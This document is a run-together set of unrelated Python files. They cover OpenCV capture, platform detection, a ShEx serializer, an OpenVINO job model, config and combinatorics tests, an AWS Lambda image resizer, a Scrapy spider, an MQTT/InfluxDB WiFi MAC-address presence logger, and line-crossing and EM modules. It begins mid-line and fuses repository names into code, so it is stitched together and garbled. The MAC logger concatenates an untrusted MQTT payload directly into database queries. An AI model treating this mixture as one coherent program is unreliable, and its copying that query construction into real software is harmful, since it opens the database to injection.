cv2.VideoWriter('output.avi', fourcc, 20.0, (640,480)) while(cap.isOpened()): ret, frame = cap.read() cv2.imshow('frame', frame) if cv2.waitKey(1) & 0xFF == ord(' '): out.write(frame) elif cv2.waitKey(1) & 0xFF == ord('q'): break cap.release() out.release() cv2.destroyAllWindows()""" Copyright (c) 2018 """ import platform import re import os import fnmatch def guess_os(): """ Returns the name of the operating system. This will return 'linux' for Linux compatible system, 'macos' for Macs, 'win32' for Windows, and 'freebsd' for FreeBSD. """ id = platform.system() if id == 'Linux': return 'linux' elif id == 'Darwin': return 'macosx' elif id == 'Windows' or id == 'Microsoft': return 'win32' else: return None def guess_word_size(): """ Returns the size of the pointer. For 64-bit systems, this will return '64', and '32' for 32-bit systems. """ if '64' in platform.machine(): return '64' else: archs = platform.architecture() for a in archs: if '64' in a: return '64' return '32' def guess_arch(): """ Returns the architecture name of the system. """ if is_windows(): if guess_word_size() == '64': return 'x64' else: return 'win32' id = platform.machine() if is_mac(): if guess_word_size() == '64' and id == 'i386': return 'x86_64' else: return id if id.startswith('arm'): return 'arm' elif (not id) or (not re.match('(x|i[3-6])86', id) is None): return id else: return None def detect_num_cpus(): """ Detects the number of CPUs on a system. Cribbed from pp. """ # Linux, Unix and MacOS: if hasattr(os, "sysconf"): if os.sysconf_names.has_key("SC_NPROCESSORS_ONLN"): # Linux & Unix: ncpus = os.sysconf("SC_NPROCESSORS_ONLN") if isinstance(ncpus, int) and ncpus > 0: return ncpus else: # OSX: return int(os.popen2("sysctl -n hw.ncpu")[1].read()) # Windows: if os.environ.has_key("NUMBER_OF_PROCESSORS"): ncpus = int(os.environ["NUMBER_OF_PROCESSORS"]); if ncpus > 0: return ncpus return 1 # Default def is_windows(): """ Returns True if you are using Windows. """ return guess_os() == 'win32' def is_windows64(): """ Returns True if you are using Visual Studio compiler in 64-bit mode. """ if is_windows(): return '64' in os.environ['LIB'] else: return False def is_unix(): """ Returns True if you are using Unix compatible system (Linux, Mac, and FreeBSD). """ return not is_windows() def is_mac(): """ Returns True if you are using Mac. """ return guess_os() == 'macosx' def is_linux(): """ Returns True if you are using Linux. """ return guess_os() == 'linux' def is64(): """ Returns True if running on 64-bit machine """ return guess_word_size() == '64' def navigate_all_files(root_path, patterns): """ A generator function that iterates all files that matches the given patterns from the root_path. """ for root, dirs, files in os.walk(root_path): for pattern in patterns: for filename in fnmatch.filter(files, pattern): yield os.path.join(root, filename) def get_all_files(root_path, patterns): """ Returns a list of all files that matches the given patterns from the root_path. """ ret = [] for filepath in navigate_all_files(root_path, patterns): ret.append(filepath) return ret from errors import LoadException from shexer.core.profiling.class_profiler import RDF_TYPE_STR from shexer.model.property import Property from shexer.utils.uri import remove_corners from shexer.utils.shapes import prefixize_shape_name_if_possible from shexer.io.shex.formater.consts import SPACES_LEVEL_INDENTATION from shexer.io.wikidata import wikidata_annotation from shexer.io.file import read_file from wlighter import SHEXC_FORMAT class ShexSerializer(object): def __init__(self, target_file, shapes_list, namespaces_dict=None, string_return=False, instantiation_property_str=RDF_TYPE_STR, disable_comments=False, wikidata_annotation=False): self._target_file = target_file self._shapes_list = shapes_list self._lines_buffer = [] self._namespaces_dict = namespaces_dict if namespaces_dict is not None else {} self._string_return = string_return self._instantiation_property_str = self._decide_instantiation_property(instantiation_property_str) self._disable_comments = disable_comments self._wikidata_annotation = wikidata_annotation self._string_result = "" def serialize_shapes(self): self._reset_target_file() self._serialize_namespaces() for a_shape in self._shapes_list: self._serialize_shape(a_shape) self._flush() if self._wikidata_annotation: self._annotate_wikidata_ids_in_result() if self._string_return: return self._string_result @staticmethod def _decide_instantiation_property(instantiation_property_str): if instantiation_property_str == None: return RDF_TYPE_STR if type(instantiation_property_str) == Property: return str(instantiation_property_str) if type(instantiation_property_str) == str: return remove_corners(a_uri=instantiation_property_str, raise_error_if_no_corners=False) raise ValueError("Unrecognized param type to define instantiation property") def _annotate_wikidata_ids_in_result(self): self._string_result = wikidata_annotation(raw_input=self._get_raw_input_for_wikidata_annotation(), string_return=self._string_return, out_file=self._target_file, format=SHEXC_FORMAT, rdfs_comments=True) def _get_raw_input_for_wikidata_annotation(self): if self._string_return: return self._string_result return read_file(self._target_file) def _serialize_namespaces(self): for a_namespace in self._namespaces_dict: self._write_line(self._prefix_line(a_namespace), 0) self._write_line("", 0) def _prefix_line(self, namespace_key): return "PREFIX " + self._namespaces_dict[namespace_key] + ": <" + namespace_key + ">" def _serialize_empty_namespace(self): self._write_line("PREFIX : ") def _serialize_shape(self, a_shape): self._serialize_shape_name(a_shape) self._serialize_opening_of_rules() self._serialize_shape_rules(a_shape) self._serialize_closure_of_rule() self._serialize_shape_gap() def _flush(self): self._write_lines_buffer() def _write_line(self, a_line, indent_level=0): self._lines_buffer.append(self._indentation_spaces(indent_level) + a_line + "\n") if len(self._lines_buffer) >= 5000: self._write_lines_buffer() self._lines_buffer = [] def _reset_target_file(self): if self._string_return: return with open(self._target_file, "w") as out_stream: out_stream.write("") # Is this necessary? maybe enough to open it in 'w' mode? def _write_lines_buffer(self): if self._string_return: self._string_result += "".join(self._lines_buffer) else: with open(self._target_file, "a") as out_stream: for a_line in self._lines_buffer: out_stream.write(a_line) def _indentation_spaces(self, indent_level): result = "" for i in range(0, indent_level): result += SPACES_LEVEL_INDENTATION return result def _serialize_shape_rules(self, a_shape): if a_shape.n_statements == 0: return statements = [a_statement for a_statement in a_shape.yield_statements()] for i in range(0, len(statements) - 1): for line_indent_tuple in statements[i]. \ get_tuples_to_serialize_line_indent_level(is_last_statement_of_shape=False, namespaces_dict=self._namespaces_dict): self._write_line(a_line=line_indent_tuple[0], indent_level=line_indent_tuple[1]) for line_indent_tuple in statements[len(statements) - 1]. \ get_tuples_to_serialize_line_indent_level(is_last_statement_of_shape=True, namespaces_dict=self._namespaces_dict): self._write_line(a_line=line_indent_tuple[0], indent_level=line_indent_tuple[1]) def _serialize_shape_name(self, a_shape): self._write_line( prefixize_shape_name_if_possible(a_shape_name=a_shape.name, namespaces_prefix_dict=self._namespaces_dict) ) def _serialize_opening_of_rules(self): self._write_line("{") def _serialize_closure_of_rule(self): self._write_line("}") def _serialize_shape_gap(self): self._write_line("") self._write_line("") wb/main/models/inference_test_image_job_model.py """ OpenVINO DL Workbench InferenceTestImageJobModel Copyright (c) 2020 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from sqlalchemy import Column, Integer, ForeignKey from sqlalchemy.orm import relationship, backref from wb.main.enumerates import JobTypesEnum, TestInferVisualizationTypesEnum from wb.main.models import DevicesModel from wb.main.models.enumerates import TEST_INFER_VISUALIZATION_TYPES_ENUM_SCHEMA from wb.main.models.inference_test_image_model import InferenceTestImageModel from wb.main.models.jobs_model import JobsModel class InferenceTestImageJobModel(JobsModel): __tablename__ = 'inference_test_image_jobs' __mapper_args__ = { 'polymorphic_identity': JobTypesEnum.inference_test_image_job.value } job_id = Column(Integer, ForeignKey(JobsModel.job_id), primary_key=True) topology_id = Column(Integer, ForeignKey('topologies.id')) device_id = Column(Integer, ForeignKey(DevicesModel.id)) test_image_id = Column(Integer, ForeignKey(InferenceTestImageModel.id)) visualization_type: TestInferVisualizationTypesEnum = Column(TEST_INFER_VISUALIZATION_TYPES_ENUM_SCHEMA, nullable=False, default=TestInferVisualizationTypesEnum.default) test_image = relationship(InferenceTestImageModel, backref=backref('job', cascade='delete')) topology = relationship('TopologiesModel', uselist=False) device = relationship(DevicesModel, uselist=False) def __init__(self, data: dict): super().__init__(data) self.topology_id = data.get('topologyId') self.device_id = data.get('deviceId') def json(self) -> dict: return { 'jobId': self.job_id, 'type': self.job_type, 'modelId': self.topology_id, 'optimizedFromModelId': self.topology.optimized_from, 'status': self.status_to_json(), 'testImage': self.test_image.json() } import os import pytest from motifscan.config import Config, user_rc_path, user_genome_dir, \ user_motif_dir from motifscan.exceptions import InvalidConfigFileError, GenomeNotFoundError, \ MotifSetNotFoundError def test_invalid_config(data_dir): with pytest.raises(InvalidConfigFileError): Config(os.path.join(data_dir, 'invalid.motifscanrc')) def test_config_init(config): assert len(config._config.sections()) == 3 assert config._config.has_section('motifscan') assert config._config.has_section('genome') assert config._config.has_section('motif') assert config._config.get('motifscan', 'genome_dir') == user_genome_dir assert config._config.get('motifscan', 'motif_dir') == user_motif_dir config = Config(path=None) assert config.path == user_rc_path def test_get_genome_dir(config): assert config.get_genome_dir() == user_genome_dir def test_set_genome_dir(config): path = 'test_dir' config.set_genome_dir(path) assert config.get_genome_dir() == path def test_get_motif_dir(config): assert config.get_motif_dir() == user_motif_dir def test_set_motif_dir(config): path = 'test_dir' config.set_motif_dir(path) assert config.get_motif_dir() == path def test_set_genome_path(config): name = 'hg19' path = 'test_dir' config.set_genome_path(name, path) assert config._config.get('genome', name) == path def test_get_genome_path(config): name = 'hg19' path = 'test_dir' config.set_genome_path(name, path) assert config.get_genome_path(name) == path with pytest.raises(GenomeNotFoundError): assert config.get_genome_path('mm9') def test_remove_genome_path(config): name = 'hg19' path = 'test_dir' config.set_genome_path(name, path) assert config.remove_genome_path(name) with pytest.raises(GenomeNotFoundError): assert config.remove_genome_path(name) def test_list_genome_assemblies(config): config.set_genome_path('hg19', 'test_dir1') config.set_genome_path('hg18', 'test_dir2') assert list(config.list_genome_assemblies()) == [('hg19', 'test_dir1'), ('hg18', 'test_dir2')] def test_has_genome_assembly(config): name = 'hg19' path = 'test_dir' config.set_genome_path(name, path) assert config.has_genome_assembly(name) assert not config.has_genome_assembly('mm9') def test_set_motif_path(config): name = 'motif_set' path = 'test_dir' config.set_motif_path(name, path) assert config._config.get('motif', name) == path def test_get_motif_path(config): name = 'motif_set' path = 'test_dir' config.set_motif_path(name, path) assert config.get_motif_path(name) == path with pytest.raises(MotifSetNotFoundError): assert config.get_motif_path('motif_set1') def test_remove_motif_path(config): name = 'motif_set' path = 'test_dir' config.set_motif_path(name, path) assert config.remove_motif_path(name) with pytest.raises(MotifSetNotFoundError): assert config.remove_motif_path(name) def test_list_motif_sets(config): config.set_motif_path('motif_set1', 'test_dir1') config.set_motif_path('motif_set2', 'test_dir2') assert list(config.list_motif_sets()) == [('motif_set1', 'test_dir1'), ('motif_set2', 'test_dir2')] def test_has_motif_set(config): name = 'motif_set' path = 'test_dir' config.set_motif_path(name, path) assert config.has_motif_set(name) assert not config.has_motif_set('motif_set1') def test_write(config): config.set_genome_dir("genome_root_dir") config.set_motif_dir("motif_root_dir") config.set_genome_path('hg19', 'test_dir1') config.set_genome_path('mm9', 'test_dir2') config.set_motif_path('motif_set1', 'test_dir3') config.set_motif_path('motif_set2', 'test_dir4') config.write() assert os.path.isfile(config.path) fin = open(config.path, 'r') assert fin.read() == "[motifscan]\n" \ "genome_dir = genome_root_dir\n" \ "motif_dir = motif_root_dir\n\n" \ "[genome]\n" \ "hg19 = test_dir1\n" \ "mm9 = test_dir2\n\n" \ "[motif]\n" \ "motif_set1 = test_dir3\n" \ "motif_set2 = test_dir4\n\n" import unittest import numpy as np from mesostat.stat.combinatorics import log_comb, comb_fak class TestCombinatorics(unittest.TestCase): # Computing rel. error of approximate number of combinations for small values def test_approx_exact(self): for i in range(20): for j in range(i): combExact = comb_fak(i, j) combApprox = np.exp(log_comb(i, j)) np.testing.assert_almost_equal(combApprox, combExact) OsamaJBR/Serverless-Image-Service #!/usr/bin/python from io import BytesIO from PIL import Image import urllib import sys import json import boto3 import os # config config = json.loads(open('config.json').read()) resized_bucket_name=config.get('resized_bucket')[os.environ.get('env')] # MIME # image types content_types = { 'png' : 'image/png', 'jpg' : 'image/jpeg', 'jpeg': 'image/jpeg', 'bmp' : 'image/bmp', 'gif' : 'image/gif' } # Functions def resize(size,image_content): width=int(size.split('x')[0]) height=int(size.split('x')[1]) img = Image.open(image_content) if width and height: img = img.resize((width, height), Image.ANTIALIAS) elif not height: wpercent = (width / float(img.size[0])) hsize = int((float(img.size[1]) * float(wpercent))) img = img.resize((width, hsize), Image.ANTIALIAS) elif not width: hpercent = (height / float(img.size[1])) wsize = int((float(img.size[0]) * float(hpercent))) img = img.resize((wsize, height), Image.ANTIALIAS) tmp_img = BytesIO() img.save(tmp_img,'png') return tmp_img def mark_media_as_ready(key): # Do whatever you want to do after resizing the image return True def lambda_handler(event,context): print(event) if not os.environ.get('env') : print("env variable should be added") exit for record in event['Records']: event_bucket = record['s3']['bucket']['name'] key = urllib.unquote_plus(record['s3']['object']['key']) fname, image_type = os.path.splitext(key) print("A new image was added to %s, path=%s" %(event_bucket,key)) # get image from s3 s3 = boto3.client('s3') # Save image into FileObject image_file = BytesIO() s3.download_fileobj(Bucket=event_bucket,Key=key,Fileobj=image_file) # do the resize sizes = config.get('sizes') for item in sizes: size=item['size'] print("Resizing image=%s to %s" %(key,size)) resized_image= resize(size=size,image_content=image_file) # Upload the new sizes to s3 again print("New resized image size = %s " %len(resized_image.getvalue())) resized_image.seek(0) resized_fname=key.replace(image_type,'.%s%s' %(size,image_type)) s3.upload_fileobj( Fileobj=resized_image, Bucket=resized_bucket_name, Key=resized_fname, ExtraArgs={ 'ACL':'public-read', 'ContentType' : content_types[image_type.lower().replace('.','')] } ) print("Size=%r should be uploaded to %s:%s"%(size,resized_bucket_name,key)) mark_media_as_ready(key)import SDPickler as sdp import datetime import os import zlib deep = [] sdp.MODE = 'silent' class log: def __init__(self,logType): self.anonymousResult = True self.logType = logType self.timeStamp = datetime.datetime.now() self.directory = '../.Logs/'+str(logType)+'/' self.deepDirectory = '../.zzz/.Deep_Log/'+self.logType if os.path.isdir(self.directory): pass else: os.makedirs(self.directory) if os.path.isdir(self.deepDirectory): pass else: os.makedirs(self.deepDirectory) self.title = str(self.timeStamp) ofile = open(str(self.directory)+str(self.timeStamp)+'.log','w') self.ofile = ofile def toggleResult(self): if self.anonymousResult: self.anonymousResult = False else: self.anonymousResult = True def close(self): global deep self.ofile.close() if deep != []: deepFile = sdp.pickleSession('.Deep_Log/'+self.logType+'/'+self.title,deep) def write(self,data,deepData=[],noTime = False): global deep deep.append(str(deepData)) message = ' --------> '+str(data) if self.anonymousResult == True: message = ' --------> '+'Result Found...' if noTime == False: self.ofile.write(str(datetime.datetime.now())+' -> '+str(data)+'\n') else: self.ofile.write(str(message)+'\n') 0 """ srt.varscan """ from srt.core import * import sys class Varscan(AbstractFeature): attributes = ["chrom","position","ref","var","reads1","reads2", "varFreq","strands1","strands2","qual1","qual2","pvalue", "mapqual1","mapqual2","Reads1Plus","Reads1Minus", "Reads2Plus","Reads2Minus"] converters = [ ("position", int), ("reads1", int), ("reads2", int), ("strands1", int), ("strands2", int), ("qual1", int), ("qual2", int), ("pvalue", float) ] def __init__(self, *args): super(Varscan, self).__init__(*args) def __repr__(self): return '\t'.join(['%%(%s)s' % str(a) for a in self.attributes]) % self.__dict__ def VarscanFile(iFileHandle, **kw): return VarscanFileReader(iFileHandle, **kw) class VarscanFileReader(AbstractDataReader): def __init__(self, iFileHandle, skip=1): super(VarscanFileReader, self).__init__(iFileHandle) self.skip = skip def _generator(self): for i in xrange(self.skip): self.iFile.next() for line in self.iFile: tokens = line.strip().split('\t') try: yield Varscan(tokens) except KeyError, e: print >> sys.stderr, e print line from .sparsegnn import SparseGGNN from .asyncgnn import AsyncGGNN # -*- coding: utf-8 -*- from flask.ext.wtf import Form from wtforms import TextField, validators from wtforms.validators import Required __all__ = ['AddComment'] # Add comment form class AddComment(Form): text = TextField( 'Text', [validators.Length(min=4, max=2048)]) content_id = TextField('Content ID', [Required()]) def test_block_number(get_contract_with_gas_estimation, w3): block_number_code = """ @public def block_number() -> uint256: return block.number """ c = get_contract_with_gas_estimation(block_number_code) assert c.block_number() == 1 w3.testing.mine(1) assert c.block_number() == 2 from django.dispatch import Signal import warnings class DeprecatedSignal(Signal): def __init__(self, deprecation_message, *args, **kwargs): self.deprecation_message = deprecation_message super(DeprecatedSignal, self).__init__(*args, **kwargs) def connect(self, *args, **kwargs): warnings.warn( self.deprecation_message, DeprecationWarning, stacklevel=2) return super(DeprecatedSignal, self).connect(*args, **kwargs) RP7/R7-OCM import os import re import AD9361_c def remove(line): if line=='\r\n' or line=='\n' or line[:2]=='//': return None lines = line.split('//') if len(lines)>1: return lines[0] line = line.strip('\r\n') line = line.strip('\n') return line def parse(line,order=None): line = remove(line) if line!=None: lines = re.split('\b+|\t+|,',line) print lines if order: for o in order: if lines[0]==o: order[o](lines[1:]) def main(): path = os.path.split(os.path.realpath(__file__))[0] fn = path+"/../../AD9361/ad9361_config.reg" f = open(fn) ad = AD9361_c.AD9361_c() for x in f.readlines(): parse(x,ad.order) if __name__ == '__main__': main() boldenth/correlation0 """ correlation imports """ #=============================================================================# # # # #=============================================================================# __version__ = "0.3" import numpy import pandas import scipy import sklearn #import matplotlib.pyplot as plt from correlation.container import Container from correlation.io.converter import \ convert_file, \ convert_time from correlation.io.conversions import \ _si_time, \ _si_len from correlation.analysis.api import \ linear_regression, \ MakeDecision import scrapy from scrapy.spiders import CrawlSpider, Rule from scrapy.linkextractors import LinkExtractor from WikiURL.items import WikiItem class WikiSpider(CrawlSpider): name = "wikiurl" start_urls = ['https://index.ros.org/packages/page/1/time/'] rules = ( Rule(LinkExtractor(allow=(), restrict_css=('ul.pagination.pagination-sm',)), callback="parse_item", follow=True),) def parse_item(self, response): new_urls = [] print('Processing..' + response.url) item = WikiItem() item_links = response.css('.table-responsive > table.table.table-condensed.table-striped.table-hover > tbody > tr > td a::attr(href)').extract() for link in item_links: new_link = link.rsplit('/', 1)[-1] print(new_link) new_urls.append(new_link) new_urls = list(set(new_urls)) for link in new_urls: item['urls'] = link yield item0 from launch_script import launchScript if __name__ == "__main__": exit(launchScript("get-job-history.pls")); from influxdb import InfluxDBClient import paho.mqtt.client as mqtt import time import datetime import snifferconfig as cfg def on_message(client,userdata,message): mac = str(message.payload.decode("utf-8")) if mac != "": if mac_randomizer_mode: mac_half=mac[0:6] last15mResults = influxclient.query('SELECT activity FROM traffic_accounting WHERE mac =~ /^'+mac_half+'/ and time > now() - 15m;') else: last15mResults = influxclient.query('SELECT activity FROM traffic_accounting WHERE mac = \''+mac+'\' and time > now() - 15m;') last15mPoints = last15mResults.get_points() last15mPoints = list(last15mPoints) twoHoursResults = influxclient.query('SELECT activity FROM traffic_accounting WHERE mac = \''+mac+'\' and time > now() - 2h;') twoHoursPoints = twoHoursResults.get_points() twoHoursPoints = list(twoHoursPoints) allResults = influxclient.query('SELECT activity FROM traffic_accounting WHERE mac = \''+mac+'\';') allPoints = allResults.get_points() allPoints = list(allPoints) lenAllPoints = len(allPoints) if len(last15mPoints) == 0 and len(twoHoursPoints) > 6: json_insert = [ { "measurement" : "traffic_accounting", "tags" : { "mac" : mac, "permanent" : "yes" }, "fields" : { "activity" : 1, "total_activity" : lenAllPoints } } ] influxclient.write_points(json_insert) if log: logfile.write("%s,PERMANENT,%s\r\n" %(mac,datetime.datetime.now())) if debug: print("MAC Received:",mac,"ADDED AS PERMANENT at",datetime.datetime.now()) elif len(last15mPoints) == 0 and len(twoHoursPoints) <= 6: json_insert = [ { "measurement" : "traffic_accounting", "tags" : { "mac" : mac, "permanent" : "no" }, "fields" : { "activity" : 1, "total_activity" : lenAllPoints } } ] influxclient.write_points(json_insert) if log: logfile.write("%s,NOT PERMANENT,%s\r\n" %(mac,datetime.datetime.now())) if debug: print("MAC Received:",mac,"ADDED AS NOT PERMANENT at",datetime.datetime.now()) else: if log: logfile.write("%s,NOT ADDED (TOO SOON),%s\r\n" %(mac,datetime.datetime.now())) if debug: print("MAC Received:",mac,"NOT ADDED BECAUSE RECENT PREVIOUS PRESENCE DETECTED < 15M at",datetime.datetime.now()) debug = True log = True mac_randomizer_mode = False # to avoid WiFi mac randomizer mode if log: logfile = open("log.csv", "a") # Influx setup influxclient = InfluxDBClient(host=cfg.db_address, port=cfg.db_port) influxclient.switch_database(cfg.db_name) #print("creating new instance") mqttclient = mqtt.Client("mqttsniffer") #create new instance mqttclient.username_pw_set(cfg.broker_user,cfg.broker_password) #print("connecting to broker") mqttclient.connect(cfg.broker_address,port=cfg.broker_port) #connect to broker mqttclient.loop_start() #print("Subscribing to topic") mqttclient.subscribe(cfg.broker_topic) mqttclient.on_message=on_message #attach function to callback try: while True: time.sleep(1) except KeyboardInterrupt: print("bye") if log: logfile.close() mqttclient.disconnect() mqttclient.loop_stop() dlstreamer/pipeline-serverextensions/spatial_analytics/object_line_crossing.py ''' * Copyright (C) 2019-2021 Intel Corporation. * * SPDX-License-Identifier: BSD-3-Clause ''' import os from collections import namedtuple from enum import Enum from extensions.gva_event_meta import gva_event_meta from server.common.utils import logging Point = namedtuple('Point', ['x', 'y']) BoundingBox = namedtuple('BoundingBox', ['left', 'top', 'width', 'height']) Direction = Enum('Direction', 'CLOCKWISE COUNTERCLOCKWISE PARALLEL', start=0) ''' Object Line Crossing Reference for line segment intersection calculation: https://www.geeksforgeeks.org/check-if-two-given-line-segments-intersect/ ''' logger = logging.get_logger('object_line_crossing', is_static=True) class ObjectLineCrossing: # pylint: disable=too-few-public-methods def __init__(self, lines=None, enable_watermark=False, log_level="INFO"): self._detected_objects = {} self._lines = [] self._enable_watermark = enable_watermark logger.log_level = log_level if self._enable_watermark and os.getenv("ENABLE_RTSP") != "true": logger.warning("RTSP output is not enabled by environment variable.") if not lines: logger.warning("No line configuration was supplied to ObjectLineCrossing.") return for line in lines: try: self._lines.append(SpatialAnalysisCrossingLine(line)) except Exception as error: logger.error(error) logger.error("Exception creating SpatialAnalysisCrossingLine: {}".format(line)) if not self._lines: raise Exception('Empty line configuration. No lines to check against.') def process_frame(self, frame): try: for line in self._lines: related_objects = [] crossed_directions = [] for object_index, detected_object in enumerate(frame.regions()): track_id = detected_object.object_id() if track_id in self._detected_objects: current_position = BoundingBox(*detected_object.normalized_rect()) direction = line.detect_line_crossing(previous_position=self._detected_objects[track_id], current_position=current_position) if direction: direction = direction.lower() logger.debug('ID {} {} {}'.format(track_id, direction, line.name)) related_objects.append(object_index) crossed_directions.append(direction) if crossed_directions: attributes = {'line-name':line.name, 'related-objects':related_objects, 'directions':crossed_directions, 'clockwise-total': line.cross_totals[Direction.CLOCKWISE.value], 'counterclockwise-total': line.cross_totals[Direction.COUNTERCLOCKWISE.value], 'total': sum(line.cross_totals)} gva_event_meta.add_event(frame, event_type=line.event_type, attributes=attributes) self._update_object_positions(frame) if self._enable_watermark: self._add_watermark(frame) except Exception as error: logger.error(error) return True def _update_object_positions(self, frame): for detected_object in frame.regions(): track_id = detected_object.object_id() bounding_box = BoundingBox(*detected_object.normalized_rect()) self._detected_objects[track_id] = bounding_box def _add_point(self, frame, point, label): region = frame.add_region(point.x, point.y, 0, 0, label=label, normalized=True) for tensor in region.tensors(): tensor.set_name("watermark_region") def _add_watermark(self, frame): for index, _ in enumerate(self._lines): self._add_point(frame, self._lines[index].line_segment.start_point, "{}_Start".format(index)) self._add_point(frame, self._lines[index].line_segment.end_point, "{}_End".format(index)) self._add_point(frame, self._lines[index].get_segment_midpoint(), "{}_Count".format(sum(self._lines[index].cross_totals))) class SpatialAnalysisCrossingLine: FocusPoint = Enum('Focus_Point', 'bottom_center center') def __init__(self, line): self.event_type = 'object-line-crossing' self._focus_point = self.FocusPoint.bottom_center self.cross_totals = [0] * len(Direction) if 'name' not in line: raise ValueError('Crossing Line \'name\' not defined') self.name = line['name'] if 'line' not in line: raise ValueError('Line segment not defined') if len(line['line']) != 2 or \ len(line['line'][0]) != 2 or \ len(line['line'][1]) != 2: raise ValueError('Line segment incorrectly defined') start_x = line['line'][0][0] start_y = line['line'][0][1] end_x = line['line'][1][0] end_y = line['line'][1][1] if start_x < 0 or start_x > 1 or start_y < 0 or start_y > 1: raise ValueError('Start point not normalized values [0,1]') if end_x < 0 or end_x > 1 or end_y < 0 or end_y > 1: raise ValueError('End point not normalized values [0,1]') self.line_segment = LineSegment(Point(start_x, start_y), Point(end_x, end_y)) if 'focus' in line: try: self._focus_point = self.FocusPoint[line['focus']] except Exception as exception: raise ValueError('Got invalid focus point: {}'.format(line['focus'])) from exception def detect_line_crossing(self, previous_position, current_position): previous_position_point = self._get_focus_point(previous_position) current_position_point = self._get_focus_point(current_position) object_segment = LineSegment(previous_position_point, current_position_point) if (self.line_segment.intersect(object_segment)): orientation = self.line_segment.get_orientation(current_position_point) self.cross_totals[orientation.value] += 1 return orientation.name return None def _get_focus_point(self, bounding_box): if self._focus_point == self.FocusPoint.bottom_center: return Point(x=bounding_box.left + (bounding_box.width/2.0), y=bounding_box.top + bounding_box.height) if self._focus_point == self.FocusPoint.center: return Point(x=bounding_box.left + (bounding_box.width/2.0), y=bounding_box.top + (bounding_box.height/2.0)) return None def get_segment_midpoint(self): return self.line_segment.get_midpoint() class LineSegment: def __init__(self, start_point, end_point): self.start_point = start_point self.end_point = end_point # Checks if point is on this segment. All points are assumed collinear. def point_on_segment(self, point): if ((point.x <= max(self.start_point.x, self.end_point.x)) and (point.x >= min(self.start_point.x, self.end_point.x)) and (point.y <= max(self.start_point.y, self.end_point.y)) and (point.y >= min(self.start_point.y, self.end_point.y))): return True return False def get_orientation(self, point): cross_product = (float(self.end_point.y - self.start_point.y) * (point.x - self.end_point.x)) - \ (float(point.y - self.end_point.y) * (self.end_point.x - self.start_point.x)) if (cross_product > 0): return Direction.COUNTERCLOCKWISE if (cross_product < 0): return Direction.CLOCKWISE return Direction.PARALLEL def intersect(self, object_segment): orientation1 = self.get_orientation(object_segment.start_point) orientation2 = self.get_orientation(object_segment.end_point) orientation3 = object_segment.get_orientation(self.start_point) orientation4 = object_segment.get_orientation(self.end_point) # Basic Case # (self.start_point, self.end_point, object_segment.start_point) and # (self.start_point, self.end_point, object_segment.end_point) have diferent orientations and # (object_segment.start_point, object_segment.end_point, self.start_point) and # (object_segment.start_point, object_segment.end_point, self.end_point) have different orientations if ((orientation1 != orientation2) and (orientation3 != orientation4)): return True # Special Cases # Check if PARALLEL points are on the same segment if ((orientation1 == Direction.PARALLEL) and self.point_on_segment(object_segment.start_point)): return True if ((orientation2 == Direction.PARALLEL) and self.point_on_segment(object_segment.end_point)): return True if ((orientation3 == Direction.PARALLEL) and object_segment.point_on_segment(self.start_point)): return True if ((orientation4 == Direction.PARALLEL) and object_segment.point_on_segment(self.end_point)): return True return False def get_midpoint(self): return Point((self.start_point.x + self.end_point.x) / 2.0, (self.start_point.y + self.end_point.y) / 2.0) import numpy as np import scipy.sparse import numba @numba.njit( locals={ "all_data": numba.types.float64[::1], "data": numba.types.float64[::1], "ind": numba.types.int32[::1], "p": numba.types.float64[::1], "bg": numba.types.float64[::1], "word_posterior": numba.types.float64[::1], "s": numba.types.float64, "new_s": numba.types.float64, "new_p_sum": numba.types.float64, "new_p_cnt": numba.types.float64[::1], "pfull": numba.types.float64[::1], "dparam": numba.types.float64, "dparam_vec": numba.types.float64[::1], "pfull_new": numba.types.float64[::1], } ) def numba_em_sparse(all_data, all_indices, all_indptr, bg_full, precision=1e-4, low_thresh=1e-4, prior_noise=1.0): """ The numba version of em_sparse. For each row R of the matrix mat, find a float, s, and vector M, such that R ~ sM + (1-s)BG where BG is the L1 normalization of the column sums of mat. Here all_data, all_indices, all_indptr are data that represent a scipy sparse matrix mat. Parameters ---------- all_data: mat.data all_indices: mat.indices all_indptr: mat.indptr bg_full: column weights of mat precision: float Default 1e-4 The accuracy for computing s low_thresh: float Default 1e-4 Replace entries below low_thresh with 0's prior_noise: float Default 1.0 Sets the Beta prior on s to be Beta(1, prior_noise) Returns ------- (M, s) The matrix with rows M, and an array s. """ assert len(all_data) > 0 # Set up new_data = np.zeros(all_data.shape[0]) s_array = np.zeros(len(all_indptr)-1) prior = np.array([1.0, prior_noise]) mp = 1.0 + 1.0 * np.sum(prior) for i in range(len(all_indptr)-1): ind = all_indices[all_indptr[i] : all_indptr[i+1]] data = all_data[all_indptr[i] : all_indptr[i+1]] assert(np.max(data) > 0.0) assert(np.min(data) >= 0.0) bg = bg_full[ind] bg /= np.sum(bg) # initial guess s = 0.5 p = s*data + (1 -s)*bg pfull = p*s + (1-s)*bg dparam = precision + 1.0 dparam_vec = pfull # Run EM while dparam > precision and s > precision and s < (1.0 - precision): word_posterior = (p * s) / (p * s + bg * (1-s)) new_p_cnt = word_posterior * data new_p_sum = np.sum(new_p_cnt) new_p = new_p_cnt / new_p_sum new_s = (new_p_sum + prior[0]) / mp pfull_new = new_p * new_s + bg * (1 - new_s) dparam_vec = np.abs(pfull_new - pfull) dparam_vec /= pfull dparam = np.sum(dparam_vec) pfull = pfull_new # zero out small values while np.sum((new_p < low_thresh) & (new_p != 0.0)) > 0: new_p[new_p < low_thresh] = 0.0 new_p /= np.sum(new_p) p = new_p s = new_s new_data[all_indptr[i]: all_indptr[i+1]] = p s_array[i] = s return new_data, s_array def em_sparse(mat, precision=1e-4, low_thresh=1e-5, prior_noise=1.0): """ For each row R of the matrix mat, find s and M, such that R ~ sM + (1-s)BG where BG is the L1 normalization of the column sums of mat. Parameters ---------- mat: scipy sparse matrix precision: float Default 1e-4 The accuracy for computing s low_thresh: float Default 1e-5 Replace entries below low_thresh with 0's prior_noise: float Default 1.0 Sets the Beta prior on s to be Beta(1, prior_noise) Returns ------- (M, s) The matrix with rows M, and an array s. """ new_mat = mat.copy().tocsr().astype(np.float64) col_sum = np.array(mat.sum(axis=0))[0] col_weights = (col_sum.astype(np.float64)) / np.sum(col_sum) numba_data, s_array = numba_em_sparse(new_mat.data, new_mat.indices, new_mat.indptr, col_weights, precision=precision, 